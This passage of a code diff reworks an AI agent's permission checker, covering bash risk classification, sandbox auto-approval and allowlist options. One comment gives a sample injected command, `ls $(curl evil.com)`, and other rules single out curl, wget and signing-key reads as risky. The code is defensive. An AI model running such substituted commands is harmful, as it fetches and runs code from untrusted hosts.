if (parsed.hasOpaqueConstructs) return RiskLevel.Medium;
|
|
822
|
-
|
|
823
|
-
// Check each segment
|
|
824
|
-
let maxRisk = RiskLevel.Low;
|
|
825
|
-
|
|
826
|
-
for (const seg of parsed.segments) {
|
|
827
|
-
const prog = seg.program;
|
|
828
|
-
|
|
829
|
-
if (HIGH_RISK_PROGRAMS.has(prog)) return RiskLevel.High;
|
|
830
|
-
|
|
831
|
-
if (prog === "rm") {
|
|
832
|
-
// Only downgrade rm of known safe workspace files for sandboxed bash.
|
|
833
|
-
// host_bash has a global ask rule that would prompt Medium-risk
|
|
834
|
-
// commands, so rm on the host must always require explicit approval.
|
|
835
|
-
if (toolName === "bash" && isRmOfKnownSafeFile(seg.args)) {
|
|
836
|
-
maxRisk = RiskLevel.Medium;
|
|
837
|
-
continue;
|
|
838
|
-
}
|
|
839
|
-
return RiskLevel.High;
|
|
840
|
-
}
|
|
841
|
-
|
|
842
|
-
if (
|
|
843
|
-
prog === "chmod" ||
|
|
844
|
-
prog === "chown" ||
|
|
845
|
-
prog === "chgrp" ||
|
|
846
|
-
prog === "sed" ||
|
|
847
|
-
prog === "awk"
|
|
848
|
-
) {
|
|
849
|
-
maxRisk = RiskLevel.Medium;
|
|
850
|
-
continue;
|
|
851
|
-
}
|
|
852
|
-
|
|
853
|
-
// curl/wget can download and execute arbitrary code from the internet.
|
|
854
|
-
// Also catch wrapped invocations like `env curl …` or `nice wget …`.
|
|
855
|
-
if (prog === "curl" || prog === "wget") {
|
|
856
|
-
maxRisk = RiskLevel.Medium;
|
|
857
|
-
continue;
|
|
858
|
-
}
|
|
859
|
-
|
|
860
|
-
if (WRAPPER_PROGRAMS.has(prog)) {
|
|
861
|
-
// `command -v` and `command -V` are read-only lookups (print where
|
|
862
|
-
// a command lives) — don't escalate to high risk for those.
|
|
863
|
-
if (
|
|
864
|
-
prog === "command" &&
|
|
865
|
-
seg.args.length > 0 &&
|
|
866
|
-
(seg.args[0] === "-v" || seg.args[0] === "-V")
|
|
867
|
-
) {
|
|
868
|
-
continue;
|
|
869
|
-
}
|
|
870
|
-
const wrapped = getWrappedProgram(seg);
|
|
871
|
-
if (wrapped === "rm") return RiskLevel.High;
|
|
872
|
-
if (wrapped && HIGH_RISK_PROGRAMS.has(wrapped)) return RiskLevel.High;
|
|
873
|
-
if (wrapped === "curl" || wrapped === "wget") {
|
|
874
|
-
maxRisk = RiskLevel.Medium;
|
|
875
|
-
continue;
|
|
876
|
-
}
|
|
877
|
-
// Propagate subcommand-aware classification for wrapped git/assistant
|
|
878
|
-
if (wrapped === "git") {
|
|
879
|
-
const wrappedWithArgs = getWrappedProgramWithArgs(seg);
|
|
880
|
-
if (wrappedWithArgs) {
|
|
881
|
-
const subcommand = firstPositionalArg(
|
|
882
|
-
wrappedWithArgs.args,
|
|
883
|
-
GIT_VALUE_FLAGS,
|
|
884
|
-
);
|
|
885
|
-
if (subcommand && LOW_RISK_GIT_SUBCOMMANDS.has(subcommand)) {
|
|
886
|
-
continue;
|
|
887
|
-
}
|
|
888
|
-
maxRisk = RiskLevel.Medium;
|
|
889
|
-
continue;
|
|
890
|
-
}
|
|
891
|
-
}
|
|
892
|
-
if (wrapped === "assistant") {
|
|
893
|
-
const wrappedWithArgs = getWrappedProgramWithArgs(seg);
|
|
894
|
-
if (wrappedWithArgs) {
|
|
895
|
-
const assistantRisk = classifyAssistantSubcommand(
|
|
896
|
-
wrappedWithArgs.args,
|
|
897
|
-
);
|
|
898
|
-
if (assistantRisk === RiskLevel.High) return RiskLevel.High;
|
|
899
|
-
if (assistantRisk === RiskLevel.Medium) {
|
|
900
|
-
maxRisk = RiskLevel.Medium;
|
|
901
|
-
}
|
|
902
|
-
continue;
|
|
903
|
-
}
|
|
904
|
-
}
|
|
905
|
-
}
|
|
906
|
-
|
|
907
|
-
if (prog === "git") {
|
|
908
|
-
const subcommand = firstPositionalArg(seg.args, GIT_VALUE_FLAGS);
|
|
909
|
-
if (subcommand && LOW_RISK_GIT_SUBCOMMANDS.has(subcommand)) {
|
|
910
|
-
// Stay at current risk
|
|
911
|
-
continue;
|
|
912
|
-
}
|
|
913
|
-
// Non-read-only git commands are medium
|
|
914
|
-
maxRisk = RiskLevel.Medium;
|
|
915
|
-
continue;
|
|
916
|
-
}
|
|
917
|
-
|
|
918
|
-
if (prog === "assistant") {
|
|
919
|
-
const assistantRisk = classifyAssistantSubcommand(seg.args);
|
|
920
|
-
if (assistantRisk === RiskLevel.High) return RiskLevel.High;
|
|
921
|
-
if (assistantRisk === RiskLevel.Medium) {
|
|
922
|
-
maxRisk = RiskLevel.Medium;
|
|
923
|
-
}
|
|
924
|
-
continue;
|
|
925
|
-
}
|
|
926
|
-
|
|
927
|
-
if (!LOW_RISK_PROGRAMS.has(prog)) {
|
|
928
|
-
// Unknown program → medium
|
|
929
|
-
if (maxRisk === RiskLevel.Low) {
|
|
930
|
-
maxRisk = RiskLevel.Medium;
|
|
931
|
-
}
|
|
932
|
-
}
|
|
933
|
-
}
|
|
934
|
-
|
|
935
|
-
// If no segments could be extracted, treat as opaque
|
|
936
|
-
if (parsed.segments.length === 0) {
|
|
937
|
-
return RiskLevel.Medium;
|
|
938
|
-
}
|
|
939
|
-
|
|
940
|
-
return maxRisk;
|
|
941
|
-
}
|
|
942
|
-
|
|
943
572
|
// Check the tool registry for a declared default risk level
|
|
944
573
|
const tool = getTool(toolName);
|
|
945
574
|
if (tool) return tool.defaultRiskLevel;
|
|
@@ -959,27 +588,6 @@ async function classifyRiskUncached(
|
|
|
959
588
|
return RiskLevel.Medium;
|
|
960
589
|
}
|
|
961
590
|
|
|
962
|
-
function isActorTokenSigningKeyPath(
|
|
963
|
-
filePath: string | undefined,
|
|
964
|
-
workingDir?: string,
|
|
965
|
-
): boolean {
|
|
966
|
-
if (!filePath) return false;
|
|
967
|
-
const cwd = workingDir ?? process.cwd();
|
|
968
|
-
const resolvedPath = resolve(cwd, filePath);
|
|
969
|
-
// Include both the per-instance protected dir AND the legacy global
|
|
970
|
-
// ~/.vellum/protected path so upgraded machines with a host-wide signing
|
|
971
|
-
// key still classify reads as High risk.
|
|
972
|
-
const signingKeyPaths = Array.from(
|
|
973
|
-
new Set([
|
|
974
|
-
join(homedir(), ".vellum", "protected", "actor-token-signing-key"),
|
|
975
|
-
join(getProtectedDir(), "actor-token-signing-key"),
|
|
976
|
-
join(getDeprecatedDir(), "actor-token-signing-key"),
|
|
977
|
-
resolve(cwd, "deprecated", "actor-token-signing-key"),
|
|
978
|
-
]),
|
|
979
|
-
);
|
|
980
|
-
return signingKeyPaths.includes(resolvedPath);
|
|
981
|
-
}
|
|
982
|
-
|
|
983
591
|
export async function check(
|
|
984
592
|
toolName: string,
|
|
985
593
|
input: Record<string, unknown>,
|
|
@@ -999,7 +607,7 @@ export async function check(
|
|
|
999
607
|
}
|
|
1000
608
|
}
|
|
1001
609
|
|
|
1002
|
-
const risk = await classifyRisk(
|
|
610
|
+
const { level: risk, reason: riskReason } = await classifyRisk(
|
|
1003
611
|
toolName,
|
|
1004
612
|
input,
|
|
1005
613
|
workingDir,
|
|
@@ -1024,129 +632,128 @@ export async function check(
|
|
|
1024
632
|
policyContext,
|
|
1025
633
|
);
|
|
1026
634
|
|
|
1027
|
-
//
|
|
1028
|
-
//
|
|
1029
|
-
|
|
1030
|
-
|
|
1031
|
-
|
|
1032
|
-
|
|
1033
|
-
|
|
1034
|
-
|
|
1035
|
-
|
|
1036
|
-
|
|
1037
|
-
if (
|
|
1038
|
-
|
|
1039
|
-
|
|
1040
|
-
|
|
1041
|
-
|
|
1042
|
-
|
|
1043
|
-
|
|
1044
|
-
|
|
1045
|
-
|
|
1046
|
-
|
|
1047
|
-
|
|
1048
|
-
|
|
1049
|
-
|
|
1050
|
-
|
|
1051
|
-
|
|
1052
|
-
|
|
1053
|
-
|
|
1054
|
-
|
|
1055
|
-
|
|
1056
|
-
|
|
1057
|
-
|
|
1058
|
-
|
|
1059
|
-
|
|
1060
|
-
|
|
1061
|
-
|
|
1062
|
-
|
|
1063
|
-
|
|
1064
|
-
|
|
1065
|
-
|
|
1066
|
-
|
|
1067
|
-
|
|
1068
|
-
|
|
1069
|
-
|
|
1070
|
-
|
|
1071
|
-
|
|
1072
|
-
|
|
1073
|
-
|
|
1074
|
-
|
|
1075
|
-
|
|
1076
|
-
|
|
1077
|
-
|
|
1078
|
-
|
|
1079
|
-
|
|
1080
|
-
|
|
1081
|
-
|
|
1082
|
-
|
|
1083
|
-
|
|
1084
|
-
|
|
1085
|
-
};
|
|
1086
|
-
}
|
|
1087
|
-
}
|
|
1088
|
-
|
|
1089
|
-
// In strict mode, every tool without an explicit matching rule must be
|
|
1090
|
-
// prompted — there is no implicit auto-allow for any risk level.
|
|
1091
|
-
// This explicitly covers skill_load: activating a skill can grant the
|
|
1092
|
-
// agent new capabilities, so in strict mode users must approve each
|
|
1093
|
-
// skill load via an exact-version or wildcard trust rule.
|
|
1094
|
-
const permissionsMode = getConfig().permissions.mode;
|
|
1095
|
-
|
|
1096
|
-
if (permissionsMode === "strict" && !matchedRule) {
|
|
1097
|
-
return {
|
|
1098
|
-
decision: "prompt",
|
|
1099
|
-
reason: `Strict mode: no matching rule, requires approval`,
|
|
1100
|
-
};
|
|
1101
|
-
}
|
|
1102
|
-
|
|
1103
|
-
// Workspace mode: auto-allow workspace-scoped operations that don't have
|
|
1104
|
-
// an explicit rule, but only when risk is Low. Medium and High risk operations
|
|
1105
|
-
// fall through to risk-based policy and always require approval.
|
|
1106
|
-
if (
|
|
1107
|
-
permissionsMode === "workspace" &&
|
|
1108
|
-
!matchedRule &&
|
|
1109
|
-
risk === RiskLevel.Low
|
|
1110
|
-
) {
|
|
1111
|
-
// Outside a container, bash runs on the host — don't auto-allow
|
|
1112
|
-
if (toolName === "bash" && !getIsContainerized()) {
|
|
1113
|
-
// Fall through to risk-based policy below
|
|
1114
|
-
} else if (isWorkspaceScopedInvocation(toolName, input, workingDir)) {
|
|
1115
|
-
return {
|
|
1116
|
-
decision: "allow",
|
|
1117
|
-
reason: "Workspace mode: workspace-scoped operation auto-allowed",
|
|
1118
|
-
};
|
|
1119
|
-
}
|
|
635
|
+
// Resolve sandboxAutoApprove for bash commands — all pipeline segments must be
|
|
636
|
+
// on the allowlist, and the command must not contain opaque constructs or
|
|
637
|
+
// dangerous patterns (e.g. `ls $(curl evil.com)` has an allowlisted program
|
|
638
|
+
// but a command substitution that could execute arbitrary code).
|
|
639
|
+
//
|
|
640
|
+
// For non-containerized environments, path resolution is applied: each
|
|
641
|
+
// segment's arguments are parsed via the command's argSchema, and all
|
|
642
|
+
// path arguments must resolve within the workspace root. Containerized
|
|
643
|
+
// environments skip path checks since the entire filesystem is the workspace.
|
|
644
|
+
let hasSandboxAutoApprove = false;
|
|
645
|
+
if (toolName === "bash" && shellParsed) {
|
|
646
|
+
const workspaceRoot = getWorkspaceDir();
|
|
647
|
+
const isContainerized = getIsContainerized();
|
|
648
|
+
|
|
649
|
+
hasSandboxAutoApprove =
|
|
650
|
+
shellParsed.segments.length > 0 &&
|
|
651
|
+
!shellParsed.hasOpaqueConstructs &&
|
|
652
|
+
shellParsed.dangerousPatterns.length === 0 &&
|
|
653
|
+
shellParsed.segments.every((seg) => {
|
|
654
|
+
const name = seg.program.split("/").pop() ?? seg.program;
|
|
655
|
+
const spec: CommandRiskSpec | undefined = Object.hasOwn(
|
|
656
|
+
DEFAULT_COMMAND_REGISTRY,
|
|
657
|
+
name,
|
|
658
|
+
)
|
|
659
|
+
? DEFAULT_COMMAND_REGISTRY[
|
|
660
|
+
name as keyof typeof DEFAULT_COMMAND_REGISTRY
|
|
661
|
+
]
|
|
662
|
+
: undefined;
|
|
663
|
+
if (!spec?.sandboxAutoApprove) return false;
|
|
664
|
+
|
|
665
|
+
// Containerized: entire fs is workspace, skip path checks
|
|
666
|
+
if (isContainerized) return true;
|
|
667
|
+
|
|
668
|
+
// Non-containerized: parse args and check all path args against workspace
|
|
669
|
+
const schema = spec.argSchema ?? {};
|
|
670
|
+
const parsed = parseArgs(seg.args, schema);
|
|
671
|
+
|
|
672
|
+
// If no path args, auto-approve (operating on cwd/stdin which is workspace)
|
|
673
|
+
if (parsed.pathArgs.length === 0) return true;
|
|
674
|
+
|
|
675
|
+
// All path args must resolve within workspace
|
|
676
|
+
return parsed.pathArgs.every((p) => {
|
|
677
|
+
// Handle ~ expansion: ~/ is current user's home, ~user/ is another
|
|
678
|
+
// user's home. Both resolve outside the workspace in practice.
|
|
679
|
+
// Treat any tilde-prefixed path as outside workspace unless it
|
|
680
|
+
// happens to resolve within it after expansion.
|
|
681
|
+
if (p === "~" || p.startsWith("~/")) {
|
|
682
|
+
const expanded =
|
|
683
|
+
p === "~" ? homedir() : join(homedir(), p.slice(2));
|
|
684
|
+
return isPathWithinWorkspaceRoot(expanded, workspaceRoot);
|
|
685
|
+
}
|
|
686
|
+
if (p.startsWith("~")) {
|
|
687
|
+
// ~root/, ~user/, etc. — resolve outside workspace
|
|
688
|
+
return false;
|
|
689
|
+
}
|
|
690
|
+
const resolved = p.startsWith("/") ? p : resolve(workingDir, p);
|
|
691
|
+
return isPathWithinWorkspaceRoot(resolved, workspaceRoot);
|
|
692
|
+
});
|
|
693
|
+
});
|
|
1120
694
|
}
|
|
1121
695
|
|
|
1122
|
-
//
|
|
1123
|
-
|
|
1124
|
-
|
|
1125
|
-
|
|
1126
|
-
|
|
1127
|
-
|
|
1128
|
-
|
|
1129
|
-
|
|
1130
|
-
|
|
1131
|
-
|
|
1132
|
-
|
|
1133
|
-
|
|
1134
|
-
|
|
696
|
+
// Build approval context from local variables
|
|
697
|
+
const tool = getTool(toolName);
|
|
698
|
+
const config = getConfig();
|
|
699
|
+
const gatewayThreshold = await getAutoApproveThreshold(
|
|
700
|
+
policyContext?.conversationId,
|
|
701
|
+
policyContext?.executionContext,
|
|
702
|
+
);
|
|
703
|
+
const resolvedThreshold =
|
|
704
|
+
gatewayThreshold ??
|
|
705
|
+
resolveThreshold(
|
|
706
|
+
config.permissions.autoApproveUpTo,
|
|
707
|
+
policyContext?.executionContext,
|
|
708
|
+
);
|
|
709
|
+
const approvalContext: ApprovalContext = {
|
|
710
|
+
riskLevel: risk,
|
|
711
|
+
toolName,
|
|
712
|
+
matchedRule: matchedRule ?? undefined,
|
|
713
|
+
permissionsMode: config.permissions.mode,
|
|
714
|
+
isContainerized: getIsContainerized(),
|
|
715
|
+
isWorkspaceScoped:
|
|
716
|
+
risk === RiskLevel.Low
|
|
717
|
+
? isWorkspaceScopedInvocation(toolName, input, workingDir)
|
|
718
|
+
: false,
|
|
719
|
+
toolOrigin:
|
|
720
|
+
tool?.origin === "skill" || tool?.origin === "plugin"
|
|
721
|
+
? "skill"
|
|
722
|
+
: tool
|
|
723
|
+
? "builtin"
|
|
724
|
+
: undefined,
|
|
725
|
+
isSkillBundled: tool?.ownerSkillBundled ?? false,
|
|
726
|
+
hasManifestOverride: !!manifestOverride,
|
|
727
|
+
autoApproveUpTo: resolvedThreshold,
|
|
728
|
+
isGatewayThreshold: gatewayThreshold != null,
|
|
729
|
+
hasSandboxAutoApprove,
|
|
730
|
+
};
|
|
731
|
+
|
|
732
|
+
// Delegate the allow/prompt/deny decision to the approval policy
|
|
733
|
+
const approvalDecision = defaultApprovalPolicy.evaluate(approvalContext);
|
|
734
|
+
|
|
735
|
+
// Enrich the reason with the classifier's explanation when available.
|
|
736
|
+
// For risk-based fallback decisions (prompt/deny from High/Medium risk),
|
|
737
|
+
// incorporate the classifier reason so the user sees *why* the command
|
|
738
|
+
// was classified at that level (e.g. "High risk (Recursive force delete): requires approval").
|
|
739
|
+
let enrichedReason = approvalDecision.reason;
|
|
740
|
+
if (riskReason && !approvalDecision.matchedRule) {
|
|
741
|
+
const riskLabelMatch = enrichedReason.match(
|
|
742
|
+
/^(High|Medium|Low|high|medium|low) risk(.*)/i,
|
|
743
|
+
);
|
|
744
|
+
if (riskLabelMatch) {
|
|
745
|
+
const capitalizedLabel =
|
|
746
|
+
riskLabelMatch[1].charAt(0).toUpperCase() +
|
|
747
|
+
riskLabelMatch[1].slice(1).toLowerCase();
|
|
748
|
+
enrichedReason = `${capitalizedLabel} risk (${riskReason})${riskLabelMatch[2]}`;
|
|
1135
749
|
}
|
|
1136
750
|
}
|
|
1137
751
|
|
|
1138
|
-
|
|
1139
|
-
|
|
1140
|
-
|
|
1141
|
-
|
|
1142
|
-
|
|
1143
|
-
}
|
|
1144
|
-
|
|
1145
|
-
if (risk === RiskLevel.Low) {
|
|
1146
|
-
return { decision: "allow", reason: "Low risk: auto-allowed" };
|
|
1147
|
-
}
|
|
1148
|
-
|
|
1149
|
-
return { decision: "prompt", reason: `${risk} risk: requires approval` };
|
|
752
|
+
return {
|
|
753
|
+
decision: approvalDecision.decision,
|
|
754
|
+
reason: enrichedReason,
|
|
755
|
+
matchedRule: approvalDecision.matchedRule,
|
|
756
|
+
};
|
|
1150
757
|
}
|
|
1151
758
|
|
|
1152
759
|
const TOOL_DISPLAY_NAMES: Record<string, string> = {
|
|
@@ -1157,7 +764,6 @@ const TOOL_DISPLAY_NAMES: Record<string, string> = {
|
|
|
1157
764
|
host_file_write: "host file writes",
|
|
1158
765
|
host_file_edit: "host file edits",
|
|
1159
766
|
web_fetch: "URL fetches",
|
|
1160
|
-
browser_navigate: "browser navigations",
|
|
1161
767
|
network_request: "network requests",
|
|
1162
768
|
};
|
|
1163
769
|
|
|
@@ -1366,7 +972,6 @@ const ALLOWLIST_STRATEGIES: Record<string, AllowlistStrategy> = {
|
|
|
1366
972
|
host_file_write: fileAllowlistStrategy,
|
|
1367
973
|
host_file_edit: fileAllowlistStrategy,
|
|
1368
974
|
web_fetch: urlAllowlistStrategy,
|
|
1369
|
-
browser_navigate: urlAllowlistStrategy,
|
|
1370
975
|
network_request: urlAllowlistStrategy,
|
|
1371
976
|
scaffold_managed_skill: managedSkillAllowlistStrategy,
|
|
1372
977
|
delete_managed_skill: managedSkillAllowlistStrategy,
|
|
@@ -1380,6 +985,26 @@ export async function generateAllowlistOptions(
|
|
|
1380
985
|
): Promise<AllowlistOption[]> {
|
|
1381
986
|
signal?.throwIfAborted();
|
|
1382
987
|
|
|
988
|
+
// When permission-controls-v3 is enabled, use classifier-produced options
|
|
989
|
+
// from the assessment cache (populated by BashRiskClassifier.classify()).
|
|
990
|
+
// When the flag is off, fall through to the legacy per-tool strategies
|
|
991
|
+
// (e.g. shellAllowlistStrategy for bash/host_bash) to avoid changing the
|
|
992
|
+
// allowlist pattern format for users who haven't opted in.
|
|
993
|
+
const config = getConfig();
|
|
994
|
+
if (isAssistantFeatureFlagEnabled("permission-controls-v3", config)) {
|
|
995
|
+
const aKey = assessmentCacheKey(toolName, input);
|
|
996
|
+
const cachedAssessment = assessmentCache.get(aKey);
|
|
997
|
+
if (
|
|
998
|
+
cachedAssessment?.allowlistOptions &&
|
|
999
|
+
cachedAssessment.allowlistOptions.length > 0
|
|
1000
|
+
) {
|
|
1001
|
+
return cachedAssessment.allowlistOptions;
|
|
1002
|
+
}
|
|
1003
|
+
}
|
|
1004
|
+
|
|
1005
|
+
// Fall back to the per-tool strategy function. For bash/host_bash when the
|
|
1006
|
+
// flag is off, this uses shellAllowlistStrategy (action: key patterns).
|
|
1007
|
+
// For other tools, this is the only path.
|
|
1383
1008
|
if (Object.hasOwn(ALLOWLIST_STRATEGIES, toolName)) {
|
|
1384
1009
|
return ALLOWLIST_STRATEGIES[toolName](toolName, input);
|
|
1385
1010
|
}
|
|
@@ -1387,6 +1012,18 @@ export async function generateAllowlistOptions(
|
|
|
1387
1012
|
return [{ label: "*", description: "Everything", pattern: "*" }];
|
|
1388
1013
|
}
|
|
1389
1014
|
|
|
1015
|
+
/**
|
|
1016
|
+
* Retrieve a cached RiskAssessment for a given tool invocation.
|
|
1017
|
+
* Returns `undefined` when no classifier-backed assessment exists
|
|
1018
|
+
* (e.g. MCP tools, unknown tools that fall through to registry defaults).
|
|
1019
|
+
*/
|
|
1020
|
+
export function getCachedAssessment(
|
|
1021
|
+
toolName: string,
|
|
1022
|
+
input: Record<string, unknown>,
|
|
1023
|
+
): RiskAssessment | undefined {
|
|
1024
|
+
return assessmentCache.get(assessmentCacheKey(toolName, input));
|
|
1025
|
+
}
|
|
1026
|
+
|
|
1390
1027
|
// Directory-based scope only applies to filesystem and shell tools.
|
|
1391
1028
|
// All other tools auto-use "everywhere" (the client handles this).
|
|
1392
1029
|
export const SCOPE_AWARE_TOOLS = new Set([
|